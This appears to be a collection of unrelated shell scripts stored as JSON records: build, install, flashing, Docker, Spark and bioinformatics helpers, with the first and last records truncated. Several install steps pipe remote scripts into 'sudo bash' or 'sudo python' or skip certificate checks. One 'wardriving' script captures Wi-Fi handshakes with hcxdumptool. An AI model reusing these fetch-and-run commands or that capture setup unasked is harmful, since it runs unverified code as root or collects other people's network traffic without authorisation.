dir=\"${sel:21}\"\n\n cat >\"$list\" <>\"$list\"\n #TODO | tr '\"' \"'\"\n\n dialog --file \"$list\" 2> \"$numb\"\n return $?\n}\n\n\nremovefiles()\n{\n dialog --infobox \"Moving selected files to directory $junk ...\" 3 100 #7 45\n while read line\n do\n nr=${line%%.*}\n nf=${line##*.}\n\n echo >&2 -ne \"$nr.$nf\\t\"\n\n if [[ $nr != [0-9]* || $nf != [0-9]* ]]\n then\n echo >&2 \"Not numbers => continue\"\n continue\n fi\n\n # Security checks\n\n file=$( awk -F '\\0' -v RS='\\0\\0' 'NR == '\"$nr\"' { print substr($'\"$nf\"',13) }' $dups)\n echo >&2 -n \"$file\"\n\n if [[ ! -f \"$file\" ]]\n then\n echo >&2 \" does not exist => next file\"\n dialog --pause \"Cannot find file '$file' => Cannot remove it\n(the removal processing will automatically continue\nafter countdown or press OK to continue now)\" 15 40 10\n continue\n fi\n\n filerp=$( rp \"$file\" )\n echo >&2 \" ($filerp)\"\n\n count=0\n while read f\n do\n #echo >&2 -ne \"#$count\\treading file '$f'\\t\"\n if [[ -f $f && ! -L $f ]]\n then\n frp=$( rp \"$f\" )\n [[ \"$filerp\" != \"$frp\" ]] && cmp -s \"$filerp\" \"$frp\" && let count++\n fi\n done < <(awk -F '\\0' -v RS='\\0\\0' 'NR == '\"$nr\"' { for(i=1;i<=NF;i++) if($i) print substr ($i, 13) }' $dups)\n\n if (( ! $count ))\n then\n echo >&2 \"Unique file (no other duplicates) => ask confirmation\"\n dialog --yesno \"Removed all duplicates of '$file'.\\nThis last file is unique.\\nDo you want to keep this file?\" 15 40\n case $? in\n 1) ;; #No or Cancel button pressed (DIALOG_CANCEL)\n *) continue;;\n esac\n fi\n\n srce=\"${file%/*}\"\n dest=$junk/\"$srce\"\n mkdir >&2 -vp \"$dest\"\n mv >&2 -v \"$file\" \"$dest\"\n\n # Remove empty directory\n rmdir >&2 -vp --ignore-fail-on-non-empty \"$srce\"\n\n done < \"$numb\"\n\n\n # take these removed files off the list '$dups'\n while IFS= read -r -d '' line\n do\n #echo >&2 -n \"Processing '$line' \"\n if [[ -z $line ]]\n then\n echo -en '\\0'\n else\n file=${line:12}\n if [[ -e $file ]]\n then\n #echo >&2 \"file '$file' exists => print line\"\n echo -en \"$line\\0\"\n #else\n # echo >&2 \"file '$file' does not exist => do not print line\"\n fi\n fi\n done < \"$dups\" |\n awk -F '\\0' -v RS='\\0\\0' -v ORS='\\0\\0' 'NF > 1' > \"$numb\"\n mv \"$numb\" \"$dups\"\n\n}\n\n\n\n\nif [[ ! -s \"$dups\" ]]\nthen\n cat <\"$menu\"\n --infobox\n \"No duplicated file found in $( (( $# > 1 )) && echo directories: || echo directory: )\nEOF\n for dir in \"${@:-.}\"\n do\n echo -ne ' \\t'\n if [[ -e $dir ]]\n then\n d=$( rp \"$dir\" )\n ls -ldgG \"$dir\" |\n if [[ \"$d\" != \"$dir\" ]]\n then\n sed 's|$|\\t'\"($d)|\"\n fi\n else\n echo \"$dir (does not exist)\"\n fi\n done >>\"$menu\"\n echo '\"' $(($#+5)) 100 >>\"$menu\"\n dialog --file \"$menu\"\nelse\n\n while [[ -s \"$dups\" ]]\n do\n choosedir\n case $? in\n -1) break;; # ESC key pressed (DIALOG_ESC) or error occured inside dialog (DIALOG_ERROR)\n 1) break;; #No or Cancel button pressed (DIALOG_CANCEL)\n esac\n\n selectfiles\n case $? in\n -1) continue;; # ESC key pressed (DIALOG_ESC) or error occured inside dialog (DIALOG_ERROR)\n 1) continue;; #No or Cancel button pressed (DIALOG_CANCEL)\n esac\n\n removefiles\n done\n\n [[ -d $junk ]] && dialog --no-shadow --no-lines --programbox \"Moved below files to directory $junk\nTo remove them definityvely use command 'rm -r $junk'\n\" 999 999 < <( cd $junk; du -cha; echo \"\n\nMoved above files to directory $junk\nTo remove them definityvely use this command:\n\n rm -r $junk\" )\n\nfi\n\n# try to remove temporary working directory\nrmdir --ignore-fail-on-non-empty \"$base\""} {"text": "#/bin/bash\n#\n# Installs a Python 2.7 on centos operating systems without disturbing 2.6 whichimpacts yum\n# Receipe comes from the following:\n# https://www.digitalocean.com/community/tutorials/how-to-set-up-python-2-7-6-and-3-3-3-on-centos-6-4\n#\n\nset -x\n\n# sudo yum update -y\nsudo yum install -y epel-release\nsudo yum groupinstall -y development\n\nsudo yum install -y zlib-dev openssl-devel sqlite-devel bzip2-devel wget xz-libs\n\nPYTHON_VERSION=2.7.9\n\nwget http://www.python.org/ftp/python/$PYTHON_VERSION/Python-$PYTHON_VERSION.tar.xz\n\n\n# Let's decode (-d) the XZ encoded tar archive:\nxz -d Python-$PYTHON_VERSION.tar.xz\n\n\n# Now we can perform the extraction:\ntar -xvf Python-$PYTHON_VERSION.tar\n\n# Enter the file directory:\npushd Python-$PYTHON_VERSION\n\n# Start the configuration (setting the installation directory)\n# By default files are installed in /usr/local.\n# You can modify the --prefix to modify it (e.g. for $HOME).\n./configure --prefix=/usr/local \n\n\n# Let's build (compile) the source\n# This procedure can take awhile (~a few minutes)\nmake\n\n# After building everything:\nsudo make altinstall\n\npopd\n\n\n# Example: export PATH=\"[/path/to/installation]:$PATH\"\nexport PATH=\"/usr/local/bin:$PATH\"\n\n\n# Let's download the installation file using wget:\nwget --no-check-certificate https://pypi.python.org/packages/source/s/setuptools/setuptools-1.4.2.tar.gz\n\n# Extract the files from the archive:\ntar -xvf setuptools-1.4.2.tar.gz\n\n# Enter the extracted directory:\npushd setuptools-1.4.2\n\n# Install setuptools using the Python we've installed (2.7.6)\nsudo /usr/bin/local/bin/python2.7 setup.py install\n\npopd\n\nwget https://raw.githubusercontent.com/pypa/pip/master/contrib/get-pip.py\n\nsudo /usr/local/bin/python2.7 get-pip.py\n\nsudo /usr/local/bin/python2.7 /usr/local/bin/pip install virtualenv\n\necho 'export PATH=\"/usr/local/bin:$PATH\"' >> /home/vagrant/.bash_profile"} {"text": "#!/bin/bash\n#\n# 2015: \n#\n# This script uses parts of:\n# - \"sd_fusing.sh\"\n# Copyright (C) 2013 Samsung Electronics Co., Ltd.\n# http://www.samsung.com/\n#\n# - \"install-on-sdcard.sh\"\n# Copyright (C) 2013, <>\n#\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n#\n\n\n#######################################\n# function definitions\n#######################################\nfunction get_rootfs_image()\n{\n echo\n echo \"Select the rootfs image you want to extract to the SD card:\"\n rootfs_image_id=0\n for f in ${rootfs_images[@]}\n do\n echo [${rootfs_image_id}] $f\n rootfs_image_id=$((rootfs_image_id+1))\n done\n\n echo\n read -p \"Enter the image id: \" selected_image_id\n\n if [ $selected_image_id -lt $rootfs_image_id -a $selected_image_id -ge 0 ]\n then\n rootfs_image=${rootfs_images[$selected_image_id]}\n else\n echo \"ERROR: Invalid selection\"\n exit\n fi\n\n if [ -e $rootfs_image ]\n then\n echo \"Image selected: \" $rootfs_image\n else\n echo \"ERROR: ${rootfs_images[$selected_image_id]} does not exist. Please generate the image before.\"\n rootfs_image=\"\"\n fi\n}\n\n\n\n\n#######################################\n# script start here\n#######################################\nif [ -z $1 ]\nthen\n echo \"usage: $0 \"\n exit 0\nfi\n\nif [ -b $1 ]\nthen\n echo \"$1 reader is identified.\"\n echo\n echo \"This script will erase the content of $1.\"\n read -p \"Press Enter to continue or Ctrl-C to cancel.\"\nelse\n echo \"$1 is NOT identified.\"\n exit 0\nfi\n\nfor i in `ls -1 $1?`; do\n echo \"unmounting device '$i'\"\n umount $i 2>/dev/null\ndone\n\nif mount | grep -q $1\nthen\n echo\n echo \"ERROR: Partitions of device $1 are currently mounted. Please umount and try again.\"\n exit 0\nfi\n\n# stop on error\nset -e\n\n# define parameters\ndevice=\"$1\"\ndtb_file=\"exynos5422-odroidxu3.dtb\"\nbl1_pos=1\nbl2_pos=31\nuboot_pos=63\ntzsw_pos=719\nrootfs_images=(\"kvm-image-extended-odroidxu3-kvm.tar.gz\" \"kvm-image-lab-odroidxu3-kvm.tar.gz\")\n\n# get root fs image to write\nget_rootfs_image\nif [ ! -e $rootfs_image ]\nthen\n echo \"Invalid rootfs image: $rootfs_image\"\n exit\nfi\n\n# delete bootsector and partition table\necho\necho \"Delete bootsector and partition tables...\"\nsudo dd if=/dev/zero of=$device bs=1024 count=4\n\n# create new partition table\necho\necho \"Create new partition table...\"\nsudo parted -s $device -- mklabel msdos\nsudo parted -s $device -- mkpart primary fat16 4096s 266239s\nsudo parted -s $device -- mkpart primary ext4 266240s 100%\n\n# fusing the signed bootloader and u-boot\necho\necho \"Writing bl1 to SD card...\"\nsudo dd iflag=dsync oflag=dsync if=./bl1.hardkernel.bin.signed of=${device} seek=$bl1_pos\necho\necho \"Writing bl2 to SD card...\"\nsudo dd iflag=dsync oflag=dsync if=./bl2.u-boot-spl.bin.signed of=${device} seek=$bl2_pos\necho\necho \"Writing u-boot to SD card...\"\nsudo dd iflag=dsync oflag=dsync if=./u-boot.bin of=${device} seek=$uboot_pos\necho\necho \"Writing tzsw to SD card...\"\nsudo dd iflag=dsync oflag=dsync if=./tzsw.hardkernel.bin.signed of=${device} seek=$tzsw_pos\n\n\n# format partitions\nbootdev=${device}1\nrootdev=${device}2\necho\necho \"Creating BOOT and rootfs partitions...\"\nsudo mkfs -t vfat -n BOOT $bootdev\nsudo mkfs -t ext4 -L rootfs $rootdev\n\n\n# mount partitions and copy files\necho\necho \"Mount BOOT and rootfs partitions on $1...\"\nbootmountpoint=`mktemp -d`\nrootmountpoint=`mktemp -d`\nsudo mount $bootdev $bootmountpoint\nsudo mount $rootdev $rootmountpoint\nsudo rm -rf $bootmountpoint/*\nsudo rm -rf $rootmountpoint/*\n\necho\necho \"Copy boot.ini, uImage, dtb to BOOT partition...\"\nsudo cp -v boot.ini $bootmountpoint/\nsudo cp -v uImage $bootmountpoint/\nsudo cp -v uImage-$dtb_file $bootmountpoint/$dtb_file\n\necho\necho \"Extract root file system ($rootfs_image) to rootfs partition...\"\nsudo tar xpf \"$rootfs_image\" -C $rootmountpoint/\n\n# sync to sd-card\nsync\n\n# cleaning\nsudo umount $bootdev\nsudo umount $rootdev\nsudo eject $device\n\necho\necho \"Done. It is now safe to eject and remove your SD-Card.\""} {"text": "#!/bin/sh -eu\n\nrm -rf MisaoReader-*\n\nelectron-packager . MisaoReader --platform=darwin --arch=x64 --overwrite --electron-version=2.0.8 --icon icons/misao.icns\nelectron-packager . MisaoReader --platform=win32 --arch=x64 --overwrite --electron-version=2.0.8 --icon icons/misao.ico\n\nln -s /Applications MisaoReader-darwin-x64/\nhdiutil create MisaoReader-darwin-x64.dmg -volname \"MisaoReader\" -srcfolder \"MisaoReader-darwin-x64\"\nzip -r MisaoReader-win32-x64.zip MisaoReader-win32-x64"} {"text": "# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::Installing%20nodejs%20on%20Ubuntu][Installing nodejs on Ubuntu]]\ncurl -sL https://deb.nodesource.com/setup_15.x | sudo -E bash -\nsudo apt-get -q install -y nodejs\n# Installing nodejs on Ubuntu ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::*Verify%20Node.js%20is%20installed%20with:][Verify Node.js is installed with::1]]\nnode --version\n# Verify Node.js is installed with::1 ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::installing_nvm][installing_nvm]]\ncurl -s -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash\n# installing_nvm ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::nvm_default][nvm_default]]\nexport NVM_DIR=\"$HOME/.nvm\"\n[ -s \"$NVM_DIR/nvm.sh\" ] && \\. \"$NVM_DIR/nvm.sh\" # This loads nvm\n# nvm_default ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::nvm_check][nvm_check]]\nnvm --version\n# nvm_check ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::git_clone][git_clone]]\ngit clone https://github.com/input-output-hk/mallet\n# git_clone ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::cat_nvmrc][cat_nvmrc]]\ncd mallet\n\ncat .nvmrc\n# cat_nvmrc ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::npm_install][npm_install]]\nnvm install 10.16.3\nnvm use --silent\n# npm_install ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::npm_install][npm_install]]\nnpm install --silent\n# npm_install ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::mallet_versions][mallet_versions]]\n./mallet --version\n# mallet_versions ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::installing_solc][installing_solc]]\nsudo npm install -g solc\n# installing_solc ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::verif_solcjs][verif_solcjs]]\nsolcjs --version\n# verif_solcjs ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::helloWorld_sol][helloWorld_sol]]\ncat << EOF >myContract.sol\n// SPDX-License-Identifier: MIT\npragma solidity >=0.6.0 <0.9.0;\n\n\ncontract HelloWorld {\n function helloWorld() external pure returns (string memory) {\n return \"Hello, World!\";\n }\n}\nEOF\n# helloWorld_sol ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::compile_helloWorld][compile_helloWorld]]\nsolcjs --bin --abi --base-path . ./myContract.sol\n# compile_helloWorld ends here\n\n# [[file:~/gh/mallet/docs/mallet_end_to_end_tutorial.org::list_helloWorld][list_helloWorld]]\nls *.bin\n# list_helloWorld ends here"} {"text": "#!/usr/bin/env bash\nset -eu\nTAG=${1:-''}\nIMAGE='jrmsdev/sadm'\nDOCKERFN='Dockerfile'\nif test \"X${TAG}\" != \"X\"; then\n\tIMAGE=\"jrmsdev/sadm:${TAG}\"\n\tDOCKERFN=\"Dockerfile.${TAG}\"\nfi\ndocker build \\\n\t--build-arg SADM_UID=$(id -u) \\\n\t--build-arg SADM_GID=$(id -g) \\\n\t-t ${IMAGE} -f docker/${DOCKERFN} .\nexit 0"} {"text": "filter_squares.sh\n#!/bin/bash\n\n# SPDX-FileCopyrightText: 2021 <>\n#\n# SPDX-License-Identifier: MIT\n\n#\n# Filter square subregions from stdin to stdout.\n# Each line is a subregion in the format \" \" in\n# degrees.\n# If the subregion contains at least one grid cell with a non-missing value in\n# the NetCDF file provided as environment variable `gridlist_reference` (with\n# variable `gridlist_var`), the line is passed to stdout, otherwise it’s\n# dropped.\n#\n# Author: <>\n\nset -o errexit\n\ncheck_square(){\n local square=\"$1\"\n (>&2 echo \"Checking if square subregion is valid: $square\")\n local east=$(echo \"$square\" | cut --field=1 --delimiter=' ')\n local west=$(echo \"$square\" | cut --field=2 --delimiter=' ')\n local south=$(echo \"$square\" | cut --field=3 --delimiter=' ')\n local north=$(echo \"$square\" | cut --field=4 --delimiter=' ')\n # -H: Don’t print metadata.\n # -C: Don’t print coordinates.\n ncks --variable=\"$gridlist_var\" \\\n -H \\\n -C \\\n --string='%f\\n'\\\n --dimension=lon,$east,$west \\\n --dimension=lat,$south,$north \\\n \"$gridlist_reference\" | \\\n grep -v '_' | \\\n grep -v -P '^\\s*$' | \\\n grep --perl-regexp --silent '\\d'\n # If grep found any number in the output, we consider this square valid.\n if [ \"$?\" -eq 0 ]; then\n echo \"$square\"\n fi\n}\n\nif [ ! -f \"$gridlist_reference\" ]; then\n (>&2 echo \"$0: Could not find gridlist reference file: '$gridlist_reference'\")\n exit 1\nfi\n\nif [ -z \"$gridlist_var\" ]; then\n (>&2 echo \"$0: Environment variable 'gridlist_var' undefined.\")\n exit 1\nfi\n\nwhile read line; do\n # Start all checks in parallel.\n check_square \"$line\" &\n sleep \"0.01\"\ndone\n\n(>&2 echo \"Waiting until all subregions are checked...\")\nwait\n\n(>&2 echo \"Filtering square subregions done.\")\nsleep 5\nexit 0"} {"text": "grails $UPGRADE --non-interactive && grails test-app unit: --non-interactive --stacktrace && grails package-plugin"} {"text": "build.sh\n#!/bin/bash\n# Run with two args for Ganga and DIRAC versions\n# e.g. ./build.sh 8.3.3 v6r22p26\nDOCKER_BUILDKIT=1 docker build --no-cache --progress=plain --build-arg dirac_version=\"$2\" --build-arg ganga_version=\"$1\" --tag=\"alexanderrichards/ganga:${1}-${2}\" .\nDOCKER_BUILDKIT=1 docker build --progress=plain --build-arg dirac_version=\"$2\" --build-arg ganga_version=\"$1\" --tag=\"alexanderrichards/ganga:latest\" ."} {"text": "#! /bin/bash\n\ninstall_pkgs(){\n sudo apt-get -y install python-dev gcc libc-dev make\n}\n\ninstall_dccomps(){\n sudo curl -L \"https://github.com/docker/compose/releases/download/1.24.0/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/local/bin/docker-compose &&\n sudo chmod +x /usr/local/bin/docker-compose &&\n sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose &&\n docker-compose --version\n}\n\nrunner(){\n install_pkgs\n install_dccomps\n}\n\nrunner"} {"text": "f2n39dm21DD/CL_OPSOTweak\ngit add .\nda=`date`\ngit commit -m \ngit pull\ngit push"} {"text": "#!/usr/bin/env bash\n\nif which pip >/dev/null; then\n echo \"Found pip\"\nelse\n echo \"Installing pip\"\n curl https://bootstrap.pypa.io/ez_setup.py -o - | sudo python\n easy_install pip\nfi\n\necho \"Upgrading pip\"\npip install --upgrade pip\n\necho \"=============================================================\"\necho \"\"\necho \"\"\necho \"Installing dependencies\"\npip install requests\npip install jmespath\n\necho \"=============================================================\"\necho \"\"\necho \"\"\necho \"Installing AWS cli\"\nif which aws >/dev/null; then\n echo \"AWS cli already installed\"\nelse\n pip install awscli\nfi\n\necho \"Upgrading AWS cli\"\npip install --upgrade awscli\n\necho \"=============================================================\"\necho \"\"\necho \"\"\necho \"Setup is complete.\"\necho \"=============================================================\"\necho \"\"\necho \"\"\necho \"Run following to configure Production access to AWS:\"\necho \"\"\necho \"aws configure --profile prod\"\necho \"\"\necho \"\""} {"text": "#!/usr/bin/env sh\n\n# below should be run after the bundling from api-extractor to remove bogus types\nfind dist \\( \\( -name '*.d.ts*' ! -name 'index.d.ts' \\) -or \\( -type d -empty \\) \\) -delete;"} {"text": "scripts/gpu_percentage.sh0\n#!/usr/bin/env bash\n\nCURRENT_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n\nsource \"$CURRENT_DIR/helpers.sh\"\n\nprint_gpu_percentage() {\n\tif command_exists \"nvidia-smi\"; then\n\t\tloads=$(nvidia-smi | sed -nr 's/.*\\s([0-9]+)%.*/\\1/p')\n\t\tgpus=$(echo \"$loads\" | wc -l)\n\t\tload=$(echo \"$loads\" | awk '{count+=$1} END {print count}')\n\t\techo \"$load $gpus\" | awk '{printf \"%.0f%%\", $1/$2}'\n\telse\n\t\techo \"nvidia-smi not found\"\n\tfi\n}\n\nmain() {\n\tprint_gpu_percentage\n}\nmain"} {"text": "#!/bin/bash\n\n#e.g. ../gencode.v28.basic.annotation.junctions4\nANNOTATED_JXS=$1\n\nfor i in 0 1 2 3 4; do\n\tcd fl.20.all.${i}/\n\t/bin/bash -x ../../junction_wiggle.sh trans_sim10.fl.junctions $ANNOTATED_JXS 20 trans_sim10.fl.bam.jxs.t2ids.tsv\n\tcd ../\ndone"} {"text": "cinemascienceworkflows/2021-06_E4S-Tutorial\n# build and install the application\n\nsource ./pantheon/env.sh > /dev/null 2>&1\n\necho ----------------------------------------------------------------------\necho \"PTN: building $PANTHEON_APP\"\n\npushd $PANTHEON_WORKFLOW_DIR > /dev/null 2>&1\n\necho \"PTN: nothing to install for $PANTHEON_APP\" \necho ----------------------------------------------------------------------\n\npopd > /dev/null 2>&1"} {"text": "#!/bin/bash\ntrap 'echo \"${BASH_SOURCE[0]}: line ${LINENO}: status ${?}: user ${USER}: func ${FUNCNAME[0]}\"' ERR\nset -o errexit\nset -o errtrace\n\n# helm repo add elastic https://helm.elastic.co\n# helm repo update\n\nNAMESPACE=\"elastic\"\n\nhelm upgrade --install my-elasticsearch \\\n --create-namespace \\\n --namespace ${NAMESPACE} \\\n --values values.yaml \\\n --version 7.13.2 \\\n elastic/elasticsearch\n\n ### single node\n # --values values-standalone.yaml \\"} {"text": "#!/bin/bash\nFROM=$1\nTO=$2\nOutputFilename=$3\n\nrm $3\nwhile [ $FROM -le $TO ]\ndo\n cat $FROM.out >> $OutputFilename\n (( FROM++ )) \ndone"} {"text": "external/postpack.sh\n#!/usr/bin/env bash\n\nmv package.json.bak package.json\n\n# shellcheck disable=SC2154\ngit tag \"$npm_package_version\"\ngit push origin refs/tags/\"$npm_package_version\""} {"text": "1-10\ndocker build -t eu.gcr.io/expingo/expingo-frontend .\ndocker push eu.gcr.io/expingo/expingo-frontend"} {"text": "ekasitk/spark-on-hpc\n#!/bin/bash\n#\n#PBS -l nodes=3:ppn=2,walltime=0:20:00\n#PBS -l vmem=2gb\n#PBS -N spark-wordcount\n#PBS -q test\n\n# -l nodes must be greater than 1. Support only 1 node spec (no + sign).\n# -l vmem set the maximum memory for each spark worker process \n\nexport SPARK_HOME=$HOME/spark-1.4.1-bin-1.2.1 \nexport SPARK_JOB_DIR=$PBS_O_WORKDIR\n\n# Create/append spark configuration in SPARK_JOB_DIR from PBS environments. \n# Specific spark configuration can be put into the SPARK_JOB_DIR/conf/* a priori.\n# If existing configuration is found SPARK_JOB_DIR/conf/*, spark-on-hpc.sh will\n# append its auto-generated section. \n# If rerun the job, delete the auto-generated section first\n$SPARK_HOME/sbin/spark-on-hpc.sh config || { exit 1; }\n\n# Start a spark cluster inside HPC using PBS -l nodes=xx. \n# One node will be dedicated to the master. The rest nodes are workers. \n$SPARK_HOME/sbin/spark-on-hpc.sh start\n\n# Import several spark variables\nsource $SPARK_HOME/sbin/spark-on-hpc.sh vars\n\nSPARK_URL=spark://$SPARK_MASTER_IP:$SPARK_MASTER_PORT\nWEBUI_URL=http://$SPARK_MASTER_IP:$SPARK_MASTER_WEBUI_PORT\n\n# Submit a spark job. \n# The driver and executor memory is defined from -l vmem\n$SPARK_HOME/bin/spark-submit --master $SPARK_URL --class JavaWordCount $PBS_O_WORKDIR/testjwc.jar file:///etc/services > $PBS_O_WORKDIR/wc.txt\n\n# Stop the spark cluster\n$SPARK_HOME/sbin/spark-on-hpc.sh stop"} {"text": "#!/bin/bash\nset -e\nset -u\n\nif [[ !{params.compress} == \"true\" ]]; then\n zcat !{genes} > !{sample}.ffn\n zcat !{proteins} > !{sample}.faa\nfi\n\ntar -xzvf !{amrdb}\n\nmkdir antimicrobial_resistance\namrfinder -n !{sample}.ffn \\\n -d amrdb/ \\\n -o antimicrobial_resistance/!{sample}-gene-report.txt \\\n --ident_min !{params.amr_ident_min} \\\n --coverage_min !{params.amr_coverage_min} \\\n --translation_table !{params.amr_translation_table} \\\n --threads !{task.cpus} !{organism_gene} !{plus} !{report_common}\n\namrfinder -p !{sample}.faa \\\n -d amrdb/ \\\n -o antimicrobial_resistance/!{sample}-protein-report.txt \\\n --ident_min !{params.amr_ident_min} \\\n --coverage_min !{params.amr_coverage_min} \\\n --translation_table !{params.amr_translation_table} \\\n --threads !{task.cpus} !{organism_protein} !{plus} !{report_common}\n\nif [[ !{params.compress} == \"true\" ]]; then\n rm !{sample}.faa !{sample}.ffn\nfi"} {"text": "webdevvie/openvpn-ansible-setup\n#!/bin/sh\n\n# change dir to ansible directory\ncd $(dirname $0)\n\nif [ \"$1\" = \"\" ]; then\n echo usage: $0 target\n echo example: $0 demo\n exit 1\nfi\n\nINVENTORY=inventory/$1\n\nif [ ! -e $INVENTORY ]; then\n echo $0: $INVENTORY: No such file or directory\n exit 1\nfi\n\nLIMITER=\"\"\n\nif [ \"$2\" != \"\" ]; then\n\tLIMITER=\"--limit $2\"\nfi\n\n# pass a timestamp that is used for every task on every host\nansible-playbook -i $INVENTORY install-openvpn.yml $LIMITER"} {"text": "bored-im/worker\n#!/usr/bin/env bash\nset -o errexit\n\nmain() {\n set -o xtrace\n\n export DEBIAN_FRONTEND=noninteractive\n\n sudo apt update -y\n sudo apt install -y \\\n build-essential \\\n git \\\n redis-tools\n\n if ! gimme version; then\n curl -sSL \\\n -o /usr/local/bin/gimme \\\n https://raw.githubusercontent.com/travis-ci/gimme/master/gimme\n chmod +x /usr/local/bin/gimme\n fi\n\n sudo -u vagrant HOME=/home/vagrant bash -c 'gimme 1.8.3'\n\n if ! docker version; then\n curl -sSL https://get.docker.io | sudo bash\n fi\n\n docker run -d -p 5672:5672 --name rabbitmq rabbitmq:3-management\n docker run -d -p 6379:6379 --name redis redis\n\n cat >/home/vagrant/.bash_profile <Nursery/go/go_odbc_pervasivesql.sh\n#!/bin/bash\n\nsource ./gopath.sh\n\ngo run go_odbc_pervasivesql.go"} {"text": "#!/usr/bin/env bash\n\n. ${LH_DIRECTORY}/lib/output.sh\n. ${LH_DIRECTORY}/lib/curl.sh"} {"text": "Scripts/hcx.sh1-10\n#!/bin/bash\n\nDIRECTORY=\"/opt/wardriving\"\nINTERFACE=\"$1\"\nif test -f \"/opt/wardriving/sessions.txt\"; then\n SESSION=$(tail -n1 \"/opt/wardriving/sessions.txt\")\nelse\n SESSION=\"0000\"\nfi\n\nmkdir -p \"$DIRECTORY\"/\"$SESSION\"\n\nip link set \"$INTERFACE\" down\niw dev \"$INTERFACE\" set type monitor\nip link set \"$INTERFACE\" up\n\nwardrive()\n{\n HCX_OPTS=$(grep -w \"$INTERFACE\" /opt/wardriving/interfaces.txt | cut -d \";\" -f 3)\n if [[ $HCX_OPTS == \"\" ]]; then\n hcxdumptool --error_max=1 -i $INTERFACE -o $DIRECTORY/$SESSION/$INTERFACE-capture.pcapng --disable_client_attacks --enable_status=95 --filtermode=1 --filterlist_ap=/opt/wardriving/whitelist.txt --filterlist_client=/opt/wardriving/whitelist-client.txt\n\n else\n hcxdumptool --error_max=1 -i $INTERFACE -o $DIRECTORY/$SESSION/$INTERFACE-capture.pcapng --disable_client_attacks --enable_status=95 --filtermode=1 --filterlist_ap=/opt/wardriving/whitelist.txt --filterlist_client=/opt/wardriving/whitelist-client.txt $HCX_OPTS\n fi\n}\n\nif (iw dev | grep \"$INTERFACE\"); then\n echo \"--- Session $SESSION has started ---\"\n wardrive >> \"$DIRECTORY\"/logs/hcxdumptool-\"$INTERFACE\".log\n echo \"--- Session $SESSION has stopped ---\" >> \"$DIRECTORY\"/logs/hcxdumptool-\"$INTERFACE\".log\nfi"} {"text": "# Will make git commit with that GLSA as message.\n# Speeds up processing GLSA emails.\n#\n# usage:\n#\n# GLSA 201701-29\nfunction GLSA() {\n git commit -a -m \"GLSA $1\"\n}"} {"text": "#!/bin/sh\r\n#\r\n\r\nusage() {\r\n test \"$1\" && echo $@\r\n echo \"Usage: $0 [OPTION]... [ARG]...\"\r\n echo\r\n echo \"Convert M4A files to MP3 using faad and bladeenc\"\r\n exit 1\r\n}\r\n\r\nargs=\r\n#arg=\r\n#flag=off\r\n#param=\r\nwhile [ $# != 0 ]; do\r\n case $1 in\r\n -h|--help) usage ;;\r\n# -f|--flag) flag=on ;;\r\n# -p|--param) shift; param=$1 ;;\r\n# --) shift; while [ $# != 0 ]; do args=\"$args \\\"$1\\\"\"; shift; done; break ;;\r\n -?*) usage \"Unknown option: $1\" ;;\r\n *) args=\"$args \\\"$1\\\"\" ;; # script that takes multiple arguments\r\n# *) test \"$arg\" && usage || arg=$1 ;; # strict with excess arguments\r\n# *) arg=$1 ;; # forgiving with excess arguments\r\n esac\r\n shift\r\ndone\r\n\r\neval \"set -- $args\"\r\n\r\n#test -f \"$1\" || usage\r\n\r\ntry=\"bladeenc\"\r\nconverter=\r\nfor i in $try; do\r\n if type $i &> /dev/null ; then converter=$i; break; fi\r\ndone\r\n\r\ntest \"$converter\" \\\r\n && echo Using converter: $converter \\\r\n || { echo \"Couldn't find any of the converters: ${try/ /, }! Exiting.\" ; exit; }\r\n\r\nfor i; do\r\n #rm -f \"$i.wav\"\r\n #mkfifo \"$i.wav\"\r\n #mplayer -ao pcm \"$i\" -aofile \"$i.wav\" &\r\n faad -o \"$i.wav\" \"$i\"\r\n echo $converter -br 192 \\\"$i.wav\\\" \\\"${i%m4a}mp3\\\"\r\n $converter -br 192 \"$i.wav\" \"${i%m4a}mp3\"\r\n rm -f \"$i.wav\"\r\ndone"} {"text": "#!/bin/bash\n\n#TODO - Add github account/password to parameters and support github account setup\n\n# If you want to export the job you can run the following command \n# java -jar /var/cache/jenkins/war/WEB-INF/jenkins-cli.jar -s http://user:password@localhost:8080 get-job \"Build Hello World\" > jenkins_job.xml\n\n# This script to configure Jenkins automatically with a groovy script \n# Default values\n\nfunction print_usage() {\n cat < -op oraclepassword -ju 